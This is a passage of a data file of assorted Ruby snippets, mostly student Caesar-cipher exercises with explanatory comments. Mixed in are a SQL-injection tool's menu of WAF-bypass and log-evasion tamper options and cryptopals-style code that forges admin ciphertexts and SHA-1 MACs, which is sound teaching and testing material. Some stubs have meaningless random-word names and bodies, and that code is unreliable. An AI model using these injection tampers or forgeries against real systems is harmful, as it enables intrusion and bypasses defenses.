\"p\",\n \"u\" => \"q\",\n \"v\" => \"r\",\n \"w\" => \"s\",\n \"x\" => \"t\",\n \"y\" => \"u\",\n \"z\" => \"v\",\n \"a\" => \"w\",\n \"b\" => \"x\",\n \"c\" => \"y\",\n \"d\" => \"z\"}\n \n input.each do |x| # Each is examining each element of the input array as x \n found_match = false # if found false it leaves that element of the input as the same and pushes it decoded_sentence\n cipher.each_key do |y| # Examining each key of the hash cipher \n if x == y # If statement comparing the input element (x) with the key of cipher hash (y) for match \n puts \"I am comparing x and y. X is #{x} and Y is #{y}.\" # puts string \n decoded_sentence << cipher[y] # Pushes cipher[y] into the array decoded_sentence\n found_match = true #marks match as true \n break # the value is found so it doesn't have to search through all the symbols\n elsif x == \"@\" || x == \"#\" || x == \"$\" || x == \"%\"|| x == \"^\" || x == \"&\"|| x ==\"*\" #Replaces these symbols with a space\n decoded_sentence << \" \" #push space into decoded array \n found_match = true #marks match as true \n break # ends the loop for the symbols \n elsif (0..9).to_a.include?(x) # puts the values in the range in an array \n decoded_sentence << x #pushes number as is into decoded array\n found_match = true #mark match as true\n break # ends the loop for the range class\n end \n end\n if not found_match # if not true \n decoded_sentence << x #pushes the x into the decoded_sentence \n end\n end\n decoded_sentence = decoded_sentence.join(\"\") #takes elements from array and combines them into a string\n \n if decoded_sentence.match(/\\d+/) #finds matches for any numbers in the input \n decoded_sentence.gsub!(/\\d+/) { |num| num.to_i / 100 } # takes that number and inserts it with an integer and divides it by 100 \n end \n return decoded_sentence # Returning string of decoded sentence \nend","def can_tweak_sign?(normal_sign, vandalized_sign)\n normal_count = character_count(normal_sign)\n vandal_count = character_count(vandalized_sign)\n vandal_count.each do |k,v|\n if normal_count[k] < v\n return false\n end\n end\n return true\nend","def dr_evils_cipher(coded_message)\n input = coded_message.downcase.split(\"\") # Check out this method in IRB to see how it works! Also refer to the Ruby docs.\n # it's setting the input to be the coded message that is now lower case and splits each input into a single letter\n decoded_sentence = []\n #setting decoded sentence to be an empty array\n cipher = {\"e\" => \"a\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\n \"f\" => \"b\", # the best data structure for this problem? What are the pros and cons of hashes?\n \"g\" => \"c\",\n \"h\" => \"d\",\n \"i\" => \"e\",\n \"j\" => \"f\",\n \"k\" => \"g\",\n \"l\" => \"h\",\n \"m\" => \"i\",\n \"n\" => \"j\",\n \"o\" => \"k\",\n \"p\" => \"l\",\n \"q\" => \"m\",\n \"r\" => \"n\",\n \"s\" => \"o\",\n \"t\" => \"p\",\n \"u\" => \"q\",\n \"v\" => \"r\",\n \"w\" => \"s\",\n \"x\" => \"t\",\n \"y\" => \"u\",\n \"z\" => \"v\",\n \"a\" => \"w\",\n \"b\" => \"x\",\n \"c\" => \"y\",\n \"d\" => \"z\"}\n# This is where the conversions for the code is stored in a hash.\n input.each do |x| # What is #each doing here?\n found_match = false # Why would this be assigned to false from the outset? What happens when it's true?\n\n # It is iterating over each item that was in the message to be decoded. It's false because it doesn't match the code that deciphers it. It means that it was the same which can't happen.\n\n cipher.each_key do |y| # What is #each_key doing here?\n if x == y # What is this comparing? Where is it getting x? Where is it getting y? What are those variables really?\n\n # It is iterating over the hash keys. It is comparing the message to be decoded to the key to see what letter it should change it too.\n\n decoded_sentence << cipher[y]\n found_match = true\n #When they match it's push the new deciphered lettter to the decoded sentence array.\n break # Why is it breaking here?\n #It's breaking so it can move onto the next letter to decipher.\n elsif x == \"@\" || x == \"#\" || x == \"$\" || x == \"%\"|| x == \"^\" || x == \"&\"|| x ==\"*\" #What the heck is this doing?\n #It's making it so if there is a character that's not a letter it won't change it and just push it into the array.\n decoded_sentence << \" \"\n found_match = true\n break\n elsif (0..9).to_a.include?(x) # Try this out in IRB. What does \" (0..9).to_a \" do?\n #Similar as before but this is for numbers in an array and will add those as well.\n decoded_sentence << x\n found_match = true\n break\n end\n end\n if not found_match # What is this looking for?\n decoded_sentence << x\n # If there isn't anything that matches the previous checks it will just add it to decoded sentece.\n end\n end\n decoded_sentence = decoded_sentence.join(\"\")\n #What is this method returning?\n# It's returning the decoded sentence and joining everything back together.\nend","def kexy_corebel?(sheikdom_sanguinarily)\n unsyringed?(swotter_uncoherentness, tetartoid)\n end","def enchant\n end","def rand_text_highascii(length, bad=payload_badchars)\n if debugging?\n rand_text_debug(length)\n else\n Rex::Text.rand_text_highascii(length, bad)\n end\n end","def descramble( scrambled )\n cipher = OpenSSL::Cipher::Cipher.new( @@algorithm )\n cipher.decrypt\n salt = scrambled[ 0, 8 ]\n data = scrambled[ 8, scrambled.size ]\n cipher.pkcs5_keyivgen( @@key, salt )\n cipher.update( data ) + cipher.final\n end","def test_challenge_26\n idx = f1(\"\").\n bytes.\n zip(f1(\"A\").bytes).\n each_with_index do |(l, r), index|\n break index if l != r\n end\n\n p1 = \"XadminXtrue\"\n c1 = f1(p1)\n refute admin?(c1)\n\n ksb0 = p1[0].ord ^ c1[idx].ord\n ncb0 = ksb0 ^ \";\".ord\n c1[idx] = ncb0.chr\n\n ksb6 = p1[6].ord ^ c1[idx + 6].ord\n ncb6 = ksb6 ^ \"=\".ord\n c1[idx + 6] = ncb6.chr\n\n assert admin?(c1)\n end","def telaDeAbertura\n # Creditos da tela de abertura\n system \"clear\"\n puts \"\\n\\n\\n\"\n centralizar(\"============ JOGO DA FORCA =============\")\n centralizar(\"Desenvolvido por Wendel Lopes dos Santos\")\n centralizar(\"W3n Gamer - 2020 v.1\")\n # Instruções de jogabilidade\n puts \"\\n\\n\"\n centralizar(\"Seja bem vindo! Acerte a palavra secreta digitando uma letra por vez.\")\n centralizar(\"Digite \\\"AJUDA\\\" para receber uma nova dica, ou digite \\\"SAIR\\\" para \")\n centralizar(\"sair imediatamente do jogo.\")\n puts \"\\n\"\n centralizar(\"BOA SORTE!!!\")\n puts \"\\n\"\n centralizar(\"Precione ENTER para começar!!!\")\n gets()\n system \"clear\"\n end","def picky_procipher(sent, hash)\r\n new_sent = []\r\n found = false\r\n sent.split(\" \").each do |word|\r\n hash.each do |k, v|\r\n found = false\r\n if k.call(word)\r\n new_sent << v.call(word)\r\n found = true\r\n break \r\n end\r\n end\r\n new_sent << word if !found\r\n end\r\n new_sent.join(\" \")\r\nend","def breakXORCipher(cipherText)\n scoredTexts = Hash.new\n \n #Try all ASCII keys from \n for i in 32..126 do\n keyChar = i.chr\n \n possiblePlaintext = hexToASCII(singleByteXOR(cipherText.upcase, keyChar))\n scoredTexts[keyChar] = scorePlaintext(possiblePlaintext)\n \n if(scoredTexts[keyChar] == possiblePlaintext.length)\n puts cipherText\n puts possiblePlaintext \n puts keyChar + \" scored \" + scoredTexts[keyChar].to_s\n end\n end\nend","def can_tweak_sign?(normal_sign, vandalized_sign)\n normalHash = Hash.new(0)\n vandalizedHash = Hash.new(0)\n\n normal_sign.each_char do |char|\n normalHash[char.downcase] += 1 unless char == ''\n end\n vandalized_sign.each_char do |char|\n vandalizedHash[char.downcase] += 1 unless char == ''\n end\n\n vandalizedHash.each do |key, value|\n return false if value > normalHash[key]\n end\n return true\nend","def strass_real_usage(num)\n if num.to_i == 1 or num.to_i == 8\n puts \"Available Encoder & Decoder Options: \".underline.white\n puts \"b64 STR\".light_yellow + \" => \".white + \"Base64 Encode String\".light_red\n puts \"b64d STR\".light_yellow + \" => \".white + \"Base64 Decode String\".light_red\n puts \"up STR\".light_yellow + \" => \".white + \"UPPERCASE String\".light_red\n puts \"down STR\".light_yellow + \" => \".white + \"lowercase String\".light_red\n puts \"rev STR\".light_yellow + \" => \".white + \"esreveR|Reverse String\".light_red\n puts \"rot13 STR\".light_yellow + \" => \".white + \"ROT13 Encode/Decode String\".light_red\n puts \"hex STR\".light_yellow + \" => \".white + \"HEX Encode String\".light_red\n puts \"unhex STR\".light_yellow + \" => \".white + \"HEX to ASCII\".light_red\n puts \"mysqlhex STR\".light_yellow + \" => \".white + \"0xMySQL HEX Encode String\".light_red\n puts \"mysqlunhex STR\".light_yellow + \" => \".white + \"0xMySQL HEX to ASCII\".light_red\n puts \"ascii STR\".light_yellow + \" => \".white + \"Returns ASCII Value of String\".light_red\n puts \"mysqlchar STR\".light_yellow + \" => \".white + \"Returns MySQL CHAR() Value of String\".light_red\n puts \"mssqlchar STR\".light_yellow + \" => \".white + \"Returns MSSQL CHAR() Value of String\".light_red\n puts \"oraclechar STR\".light_yellow + \" => \".white + \"Returns Oracle CHR() Value of String\".light_red\n puts \"unicode STR\".light_yellow + \" => \".white + \"Unicode Encode String\".light_red\n puts \"urienc STR\".light_yellow + \" => \".white + \"URI Encode String\".light_red\n puts \"uridec STR\".light_yellow + \" => \".white + \"URI Decode String\".light_red\n puts \"doubleurl STR\".light_yellow + \" => \".white + \"URI Double Encode String\".light_red\n puts \"ent_dec STR\".light_yellow + \" => \".white + \"HTML Entity Decimal Encode String (&#DD)\".light_red\n puts \"ent_ddec STR\".light_yellow + \" => \".white + \"HTML Entity Decimal Decode String (&#DD)\".light_red\n puts \"ent_hex STR\".light_yellow + \" => \".white + \"HTML Entity HEX Encode String (&#xXX)\".light_red\n puts \"ent_dhex STR\".light_yellow + \" => \".white + \"HTML Entity HEX Decode String (&#xXX)\".light_red\n puts \"ent_name STR\".light_yellow + \" => \".white + \"HTML Entity Named Encoding of String\".light_red\n puts \"ent_dname STR\".light_yellow + \" => \".white + \"HTML Entity Named Decoding of String\".light_red\n print_line(\"\")\n end\n\n # Now print the QUERY BUILDER Functions if requested\n if num.to_i == 2 or num.to_i == 8\n puts \"Available SQLi Query Builder Options: \".underline.white\n puts \"union NUMBER\".light_yellow + \" => \".white + \"Union Select Query using provided NUMBER of columns\".light_red\n puts \"union_null NUMBER\".light_yellow + \" => \".white + \"Union Select Query with NULL value for provided NUMBER of columns\".light_red\n puts \"union_cust CUSTOM NUMBER\".light_yellow + \" => \".white + \"Union Select Query with CUSTOM value for provided NUMBER of columns\".light_red\n puts \"union_bof BUFFER NUMBER\".light_yellow + \" => \".white + \"BoF Union Select Query using provided BUFFER & NUMBER of Columns\".light_red\n print_line(\"\")\n end\n\n # Now print the SQLi & Tamper Functions if requested\n if num.to_i == 3 or num.to_i == 8\n puts \"Available SQLi Tamper Options: \".underline.white\n puts \"wafcap STR\".light_yellow + \" => \".white + \"Randomly Capitalize ALL Words Throughout String\".light_red\n puts \"wafcap_common STR\".light_yellow + \" => \".white + \"Randomly Capitalize SQLi Key Words in String\".light_red\n puts \"doubleup STR\".light_yellow + \" => \".white + \"Double Up SQLi Key Words (UNunionION)\".light_red\n puts \"comment STR\".light_yellow + \" => \".white + \"C Comment SQLi Key Words (/*UNION*/)\".light_red\n puts \"mycomment STR\".light_yellow + \" => \".white + \"MySQL Friendly C Style Comment of SQLi Key Words (/*!UNION*/)\".light_red\n puts \"mykeyhex STR\".light_yellow + \" => \".white + \"URL Hex Encode SQLi Key Words (U%6eIO%6e S%65L%65CT 1,2,3)\".light_red\n puts \"zerocomment STR\".light_yellow + \" => \".white + \"Zero Versioned MySQL Friendly C Style Comment on SQLi Key Words (/*!0UNION*/)\".light_red\n puts \"randcomment STR\".light_yellow + \" => \".white + \"C Style Comments Randomly Inserted into SQLi Key Words (U/*N*/IO/*N*/)\".light_red\n puts \"modsec_vers STR\".light_yellow + \" => \".white + \"Versioned MySQL C Comments Encapsulating Query String (/*!30187UNION SELECT 1,2,3,4*/)\".light_red\n puts \"modsec_zerovers STR\".light_yellow + \" => \".white + \"Zero Versioned MySQL C Comments Encapsulating Query String (/*!00000UNION SELECT 1,2,3,4*/)\".light_red\n puts \"bluecoat STR\".light_yellow + \" => \".white + \"Bluecoat WAF: Adds Legal ASCII Blank Char following SQLi Key Words (UNION%09 SELECT%09 1,2,3 FROM foo#)\".light_red\n puts \"securesphere STR\".light_yellow + \" => \".white + \"Imperva SecureSphere WAF: Appends \\\"magic\\\" string to each request (and '0having'='0having')\".light_red\n puts \"equal2like STR\".light_yellow + \" => \".white + \"Convert '=' comparison to 'LIKE' comparison\".light_red\n puts \"gt2between STR\".light_yellow + \" => \".white + \"Convert '>' comparison to 'NOT BETWEEN' comparison\".light_red\n puts \"percent STR\".light_yellow + \" => \".white + \"Places '%' after each char in string (Common ASP Bypass)\".light_red\n puts \"singleq2utf STR\".light_yellow + \" => \".white + \"Convert Single Quotes (') to UTF version (%EF%BC%87)\".light_red\n puts \"singleq2null STR\".light_yellow + \" => \".white + \"Convert Single Quotes (') to NULL URI Encoded version (%00%27)\".light_red\n puts \"unmagicquotes STR\".light_yellow + \" => \".white + \"Convert Single Quotes (') to multi-byte combo (%bf%27)and add dash (--) comment to end to balance\".light_red\n print_line(\"\")\n end\n\n # Now print the Append Functions if requested\n if num.to_i == 4 or num.to_i == 8\n puts \"Available Append Options: \".underline.white\n puts \"addnull STR\".light_yellow + \" => \".white + \"Append NULL Byte (%00)\".light_red\n puts \"adddash STR\".light_yellow + \" => \".white + \"Append Dash Delimieter (--)\".light_red\n puts \"addsdash STR\".light_yellow + \" => \".white + \"Append String Based Dash Delimieter (-- -)\".light_red\n puts \"addhash STR\".light_yellow + \" => \".white + \"Append Hash/Pound Delimieter (\\#)\".light_red\n puts \"addcomm STR\".light_yellow + \" => \".white + \"Append MS-SQL Comment Style Delimieter (/*)\".light_red\n puts \"addsp STR\".light_yellow + \" => \".white + \"Append sp_password for MS-SQL Log Evasion\".light_red\n print_line(\"\")\n end\n\n # Now print the Space Functions if requested\n if num.to_i == 5 or num.to_i == 8\n puts \"Available White Space Manipulation Options: \".underline.white\n puts \"space2comment STR\".light_yellow + \" => \".white + \"Convert Spaces to C Style Comment (' ' => /**/)\".light_red\n puts \"space2mycomment STR\".light_yellow + \" => \".white + \"Convert Spaces to MySQL Friendly C Style Comment (' ' => /*!*/)\".light_red\n puts \"space2dash STR\".light_yellow + \" => \".white + \"Convert Spaces to Dash (--) followed by random string and a new line (ZeroNights: ' ' => --aXyNOfLq%0A)\".light_red\n puts \"space2dashline STR\".light_yellow + \" => \".white + \"Convert Spaces to Dash (--) followed by a new line (' ' => --%0A)\".light_red\n puts \"space2hash STR\".light_yellow + \" => \".white + \"Convert Spaces to Hash/Pound (\\#) followed by random string and a new line (ModSec-Challenge: ' ' => \\#aXyNOfLq%0A)\".light_red\n puts \"space2hashline STR\".light_yellow + \" => \".white + \"Convert Spaces to Hash/Pound (\\#) followed by a new line (' ' => \\#%0A)\".light_red\n puts \"space2mssql STR\".light_yellow + \" => \".white + \"Convert Spaces to any 1 of 15 possible chars considered legal by MS-SQL\".light_red\n puts \"space2mysql STR\".light_yellow + \" => \".white + \"Convert Spaces to any 1 of 6 possible chars considered legal in MySQL\".light_red\n puts \"space2rand STR\".light_yellow + \" => \".white + \"Convert Spaces to any 1 of 4 possible chars considered universally legal\".light_red\n puts \"space2oa STR\".light_yellow + \" => \".white + \"Convert Spaces to New Line (%0A)\".light_red\n puts \"space2o9 STR\".light_yellow + \" => \".white + \"Convert Spaces to Horizontal Tab (%09)\".light_red\n puts \"space2ob STR\".light_yellow + \" => \".white + \"Convert Spaces to Vertical Tab (%0B)\".light_red\n puts \"space2oc STR\".light_yellow + \" => \".white + \"Convert Spaces to New Page (%0C)\".light_red\n puts \"space2od STR\".light_yellow + \" => \".white + \"Convert Spaces to Carriage Return (%0D)\".light_red\n puts \"space2plus STR\".light_yellow + \" => \".white + \"Convert Spaces to Plus (+)\".light_red\n print_line(\"\")\n end\n\n # Now print the FLOOR(RAND(0)*2) Functions if requested\n if num.to_i == 6 or num.to_i == 8\n puts \"Available FLOOR(RAND(0)*2) Manipulation Options: \".underline.white\n puts \"floor2xor STR\".light_yellow + \" => \".white + \"Convert FLOOR(RAND(0)*2) to RAND(0) XOR 1\".light_red\n puts \"floor2greatest STR\".light_yellow + \" => \".white + \"Convert FLOOR(RAND(0)*2) to GREATEST(rand(0),2)\".light_red\n puts \"floor2div STR\".light_yellow + \" => \".white + \"Convert FLOOR(RAND(0)*2) to RAND(0) div 1\".light_red\n puts \"floor2round STR\".light_yellow + \" => \".white + \"Convert FLOOR(RAND(0)*2) to ROUND(RAND(0),2)\".light_red\n puts \"floor2rand STR\".light_yellow + \" => \".white + \"Convert FLOOR(RAND(0)*2) to RAND(0) | RAND(0)\".light_red\n print_line(\"\")\n end\n\n # Now print the FLOOR(RAND(0)*2) Functions if requested\n if num.to_i == 7 or num.to_i == 8\n puts \"Available Comma Manipulation Options: \".underline.white\n puts \"comma2comm STR\".light_yellow + \" => \".white + \"C Style Comment out commas (,) to (/*,*/)\".light_red\n puts \"comma2mycomm STR\".light_yellow + \" => \".white + \"MySQL Friendly C Style Comment out commas (,) to (/*!,*/)\".light_red\n puts \"comma2char STR\".light_yellow + \" => \".white + \"Add mysql char(44) after each comma (',') in hopes it remains after normal comma stripped by WAF\".light_red\n puts \"comma2join STR\".light_yellow + \" => \".white + \"Convert basic Union Select 1,2,3 Query to join statements (union (select 1)a join (select 2)b join (select 3)c)\".light_red\n print_line(\"\")\n end\nend","def challenge29(mac, message)\n # Copy SHA1 padding code into a proc\n sha1_pad = proc do |s|\n bit_len = s.bytesize << 3\n s.force_encoding(Encoding::ASCII_8BIT)\n pad = 0x80.chr\n while ((s + pad).size % 64) != 56\n pad += \"\\x00\"\n end\n pad += [bit_len >> 32, bit_len & 0xffffffff].pack(\"N2\")\n end\n \n h = mac.unpack('N5')\n extension = ';admin=true'\n\n IO.readlines('/usr/share/dict/words', chomp: true).each do |key|\n glue = sha1_pad.call(key + message)\n forged_message = message + glue + extension\n forged_mac = CryptUtil::Digest::SHA1.digest(key.force_encoding(Encoding::ASCII_8BIT) + forged_message, h, [key, message, glue].map(&:bytesize).sum / 64)\n if CryptUtil::Digest::SHA1.authenticate_mac(forged_mac, key, forged_message)\n return forged_mac, forged_message\n end\n end\n end","def obfuscate(s)\n\t\ts.tr(\"A-Ma-mN-Zn-z\",\"N-Zn-zA-Ma-m\")\n\tend","def cobasysprog\n end","def catch_phrase\n [\n [\"ninja\",\"master\",\"student\"].rand, \n [\"\", \"\", \"\", \"\", \"\", \"\", \"weapons\", \"s' 3rd annual\",\"s' 5th annual\",\"s' 10th annual\", \"s' secret\"].rand,\n [\"gathering\",\"celebration\",\"meeting\",\"tournament\",\"competition\",\"party\",\"training camp\",\"sparring event\"].rand,\n [\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"with Leonardo\", \"with Raphael\", \"with Michaelangelo\", \"with Donatello\"].rand\n ].join(' ').gsub(/ s\\'/,'s\\'').gsub(/\\s\\s/,' ').strip\n end","def north_korean_cipher(coded_message) #def parameter n_k_c and passing c_m as value\n input = coded_message.downcase.split(\"\") #set user input equal to lowercase characters and split them up into an array. We use the \" \" as a delimiter \n decoded_sentence = [] # creating an empty array titled d_s \n cipher = {\"e\" => \"a\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\n \"f\" => \"b\", # the best data structure for this problem? What are the pros and cons of hashes?\n \"g\" => \"c\", # Create a Hash titled cipher and give the key an alphabet character offset by -4\n \"h\" => \"d\", # values are assigned in alphabetical order\n \"i\" => \"e\", #\n \"j\" => \"f\", #\n \"k\" => \"g\",\n \"l\" => \"h\",\n \"m\" => \"i\",\n \"n\" => \"j\",\n \"o\" => \"k\",\n \"p\" => \"l\",\n \"q\" => \"m\",\n \"r\" => \"n\",\n \"s\" => \"o\",\n \"t\" => \"p\",\n \"u\" => \"q\",\n \"v\" => \"r\",\n \"w\" => \"s\",\n \"x\" => \"t\",\n \"y\" => \"u\",\n \"z\" => \"v\",\n \"a\" => \"w\",\n \"b\" => \"x\",\n \"c\" => \"y\",\n \"d\" => \"z\"}\n \n #cipher.collect{|key, value| value}\n \n \n input.each do |x| # What is #each doing here? each is the method that allows us to iterate over each key/value pair \n found_match = false # Why would this be assigned to false from the outset? It would assinged false because otherwise we would return false positives to begin with and the loop would never start. What happens when it's true? When it finds a match, it returns true. At that point, it moves onto to line 50 \n cipher.each_key do |y| # What is #each_key doing here? this line is running through all of the keys and comparing them to the list of values. x == y \n if x == y # What is this comparing? this is comparing the key and value pairs for a match. Where is it getting x? user input. Where is it getting y? cipher key- value What are those variables really? keys and values of a hash \n puts \"I am comparing x and y. X is #{x} and Y is #{y}.\" #printing a string if x == y that encrypts their true message\n decoded_sentence << cipher[y] #when a match is found, the y value is added to the decoded sentence. \n found_match = true #while iterating, found_match will return true if it finds a match \n break # Why is it breaking here? the code found a match and we need to move on to the next letter to be decrypted. \n elsif x == \"@\" || x == \"#\" || x == \"$\" || x == \"%\"|| x == \"^\" || x == \"&\"|| x ==\"*\" #What the heck is this doing? if the iteration searches for alphabetical characters and cannot find any, it will search for special characters such as: $, @, etc. \n decoded_sentence << \" \" # if it finds a match it will append a space to the decoded message \n found_match = true \n break\n elsif (0..9).to_a.include?(x) # Try this out in IRB. What does \" (0..9).to_a \" do? evaluating numerical characters\n decoded_sentence << x #add this match to the end of the decoded sentence \n found_match = true\n break #breaks end the loop once we find a match \n end \n end\n if not found_match # What is this looking for? this is looking for a match. \n decoded_sentence << x #if we don't find a match, this will append the character that it was trying to match onto the end of the sentence\n end\n end\n decoded_sentence = decoded_sentence.join(\"\") #when we broke apart the string on line 15, we are simply rejoining it here based on our iterations \n \n if decoded_sentence.match(/\\d+/) #What is this matching? this is matching a digit character ([0-9]) \n decoded_sentence.gsub!(/\\d+/) { |num| num.to_i / 100 } #He's been known to exaggerate... if there is a match, substitute in for it an integer divided by 100\n end \n return decoded_sentence # What is this returning? it is returning a decrypted message: \"can somebody just get me 100 bags of cool ranch doritos?\" \nend","def translate_to_cipher(sentence)\n # creates array alphabet including all letters a through z\n alphabet = ('a'..'z').to_a\n # creates a hash by merging alphabet and the rotated alphabet array,\n # in which each element of alphabet is the key\n # for the element at the same index in the rotated array\n # (see explanation of Array#rotate in Questions)\n cipher = Hash[alphabet.zip(alphabet.rotate(4))]\n # creates array spaces including all special characters named\n spaces = [\"@\", \"#\", \"$\", \"%\", \"^\", \"&\", \"*\"]\n # converts all characters in sentence to lowercase and\n # creates a new variable original_sentence to modify the input string\n original_sentence = sentence.downcase\n # creates an empty array encoded_senteece\n encoded_sentence = []\n # loops through each character of the string original_sentence\n original_sentence.each_char do |element|\n # checks to see if the hash cipher includes the current character\n # as a key\n if cipher.include?(element)\n # if so, pushes the character's value in the hash cipher to\n # the end of the array encoded_sentence\n encoded_sentence << cipher[element]\n # checks to see if the element is a space\n elsif element == ' '\n # if so, pushes a randomly selected element of the array\n # spaces (i.e. special characters) to the end of the\n # array encoded_sentence\n encoded_sentence << spaces.sample\n # if neither of the above conditions are true\n else \n # simply pushes the unmodified element to the end of the array\n # encoded_spaces\n encoded_sentence << element\n # closes the if/else logic\n end\n # closes the each loop\n end\n # joins each element of encoded_sentence and returns the resulting string\n return encoded_sentence.join\n# closes the method\nend","def decrypt; end","def superweening_adorningly(counterstand_pyrenomycetales)\n end","def translate_to_cipher(sentence) # defining a method named, \"translate_to_cipher\" and passing a single argument to it\n alphabet = ('a'..'z').to_a # converting all alphabets to an array\n cipher = Hash[alphabet.zip(alphabet.rotate(4))] # creating a Hash\n spaces = [\"@\", \"#\", \"$\", \"%\", \"^\", \"&\", \"*\"] # creating an array of special characters\n \n original_sentence = sentence.downcase # setting the input sentence to all lowercase\n encoded_sentence = [] # creates an empty array\n original_sentence.each_char do |element| # iterate over each character in a string\n if cipher.include?(element) #if an element in the Cipher Hash == an element in the input sentence\n encoded_sentence << cipher[element] # push that element from the cipher Hash to an array named, \"encoded_sentence\"\n elsif element == ' ' # if there is a space in the input sentence\n encoded_sentence << spaces.sample # push one of the elements from spaces array to encoded_sentence array\n else # if not\n encoded_sentence << element #push the original sentence into encoded sentence array\n end # end the if\n end # end the iteration\n \n return encoded_sentence.join # return the encoded sentence as a string\nend","def cherty_hottish(define, henchboy, systematically_youthen)\n sprag_squamaceous(demilitarize)\n osiridean_seedily(coopering_frenzelite, columellia)\n end","def emotional_adjective; end","def chiffre \n\n\t@character_to_digit = {'a',0,'b',1,'c',2,'d',3,'e',4,'f',5,'g',6,'h',7,'i',8,'j',9,'k',10,'l',11,'m',12,'n',13,'o',14,'p',15,'q',16,'r',17,'s',18,'t',19,'u',20,'v',21,'w',22,'x',23,'y',24,'z',25}\n\t@digit_to_character = {0,'a',1,'b',2,'c',3,'d',4,'e',5,'f',6,'g',7,'h',8,'i',9,'j',10,'k',11,'l',12,'m',13,'n',14,'o',15,'p',16,'q',17,'r',18,'s',19,'t',20,'u',21,'v',22,'w',23,'x',24,'y',25,'z'}\n\t\n\t@encrypted_text = \"\"\n\t@plaintext.each do |character| \n\t\tcharacter = character.downcase\n\t\t\n\t\tif @character_to_digit.has_key?(character) == false\n\t\t\tnew_character = character\n\t\telse\toriginal_number = @character_to_digit[character]\t\t\t\n\t\t\t@new_number = original_number.to_i + @key\n\n\t\t\tif @new_number > 25\n\t\t\t\t@new_number = @new_number.modulo(26) end\n\t\t\n\t\t\tnew_character = @digit_to_character[@new_number]\n\t\tend\n\t\t\n\t\t@encrypted_text += new_character.to_s \n\t\tend\nend","def hermes_catchphrase; end","def caesar_guesser(encrypted_string, alphabet)\nend","def virgilism_dentality(checkrowed, generatrix)\n unflickeringly_draftiness_goer()\n retrust(clavation_uneclipsed)\n thumby(afterknowledge, disproval)\n end","def translate_to_cipher(sentence) # Defining method as translate_to_cipher, takes argument sentence\n alphabet = ('a'..'z').to_a # Sets variable alphabet, turns range into array \n cipher = Hash[alphabet.zip(alphabet.rotate(4))] # Creates a hash in which it takes the alphabet elements as keys and sets up values as 4 letters from the key\n spaces = [\"@\", \"#\", \"$\", \"%\", \"^\", \"&\", \"*\"] # Sets an array \"spaces\" \n \n original_sentence = sentence.downcase # Sets variable original_sentece to be argument but in lower case\n encoded_sentence = [] # Creates empty array encoded_sentence\n original_sentence.each_char do |element| # Begins a loops through each element of the original_sentence array \n if cipher.include?(element) # Checks to see if each element is present\n encoded_sentence << cipher[element] # If present, pushes the key from the cipher hash \n elsif element == ' ' # Checks to see if element is ''\n encoded_sentence << spaces.sample #If present, selects one of the elements from spaces and pushses to encoded_sentence\n else \n encoded_sentence << element #Otherwise, it pushes the element into the encoded_sentence\n end\n end\n \n return encoded_sentence.join #takes encoded sentence and joins it together\nend","def poor_random\n (0...16).map { rand(97..122).chr }.join\n end","def strain; end","def can_tweak_sign?(normal_sign, vandalized_sign)\n new_counter = Hash.new(0)\n old_counter = Hash.new(0)\n normal_sign.downcase.chars.each do |x|\n old_counter[x] += 1 \n end\n vandalized_sign.downcase.chars.each do |x|\n new_counter[x] += 1\n end\n new_counter.all? {|x, y| old_counter[x] >= y }\n end","def congratulations\n self_clear\n arter = Artii::Base.new\n puts arter.asciify(\"C o n g r a t u l a t i o n s !\")\n arter = Artii::Base.new\n puts arter.asciify(\"Y o u h a v e e a r n e d #{$wallet.wallet} s p a p o i n t s !\")\nend","def cartman_says(offensive_message)\n puts offensive_message #fix\nend","def north_korean_cipher(coded_message)\n input = coded_message.downcase.split(\"\") # Check out this method in IRB to see how it works! Also refer to the ruby docs.\n # split is typically used to demarcate words, but by calling it with '' here, it's creating\n # an array with one character in each slot.\n decoded_sentence = []\n cipher = {\"e\" => \"a\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\n \"f\" => \"b\", # the best data structure for this problem? What are the pros and cons of hashes? \n \"g\" => \"c\", \n \"h\" => \"d\", # We think we should use a \"shift\" kind of method\n \"i\" => \"e\", # it seems like this is more of a function/method call, rather than a hash\n \"j\" => \"f\", # because it's manipulating the data in a predictable way\n \"k\" => \"g\",\n \"l\" => \"h\", # a hash is good for random look-up of poorly organized data, keys and values\n \"m\" => \"i\", # but here we have a predictable structure of regular inputs and outputs\n \"n\" => \"j\", # which we can use a method for\n \"o\" => \"k\",\n \"p\" => \"l\",\n \"q\" => \"m\",\n \"r\" => \"n\",\n \"s\" => \"o\",\n \"t\" => \"p\",\n \"u\" => \"q\",\n \"v\" => \"r\",\n \"w\" => \"s\",\n \"x\" => \"t\",\n \"y\" => \"u\",\n \"z\" => \"v\",\n \"a\" => \"w\",\n \"b\" => \"x\",\n \"c\" => \"y\",\n \"d\" => \"z\"}\n \n input.each do |x| # What is #each doing here?\n # EACH is iterating through all of the characters in the input (now an array)\n found_match = false # Why would this be assigned to false from the outset? What happens when it's true?\n # this is the starting point for the if-else structures, starting false\n # the later code sets it to true once a character has been inserted into\n # the decoded sentence array.\n # Then finally if nothing has been added, such as miscellaneous common punctuation\n # like commas, periods, or exclamation points, it makes sure it's added in.\n cipher.each_key do |y| # What is #each_key doing here?\n # it loops through the cipher hash, searching for the letter we want to decrypt\n if x == y # What is this comparing? Where is it getting x? Where is it getting y? What are those variables really?\n # x is the input array string value\n # y is the different possible keys from our cipher hash\n # it's comparing the two, and once there's a match, it'll translate them.\n puts \"I am comparing x and y. X is #{x} and Y is #{y}.\"\n decoded_sentence << cipher[y]\n found_match = true\n break # Why is it breaking here?\n # This breaks the cipher hash loop once it finds the proper letter to decrypt\n elsif x == \"@\" || x == \"#\" || x == \"$\" || x == \"%\"|| x == \"^\" || x == \"&\"|| x ==\"*\" #What the heck is this doing?\n # This is checking for strange symbols (less common ones), which seem to be indicating spaces\n decoded_sentence << \" \"\n found_match = true\n break\n elsif (0..9).to_a.include?(x) # Try this out in IRB. What does \" (0..9).to_a \" do?\n # this expands the 0..9 numbers notation into proper array notation, which allows .include? to be called on it\n decoded_sentence << x\n found_match = true\n break\n end \n end\n if not found_match # What is this looking for?\n # This looks for other characters, namely, common punctuation in this case,\n # which are not encrypted, and adds them to the decoded array\n decoded_sentence << x\n end\n end\n decoded_sentence = decoded_sentence.join(\"\")\n \n if decoded_sentence.match(/\\d+/) #What is this matching? Look at Rubular for help.\n #If the decoded answer has a number or digits anywhere in it, then it does the next 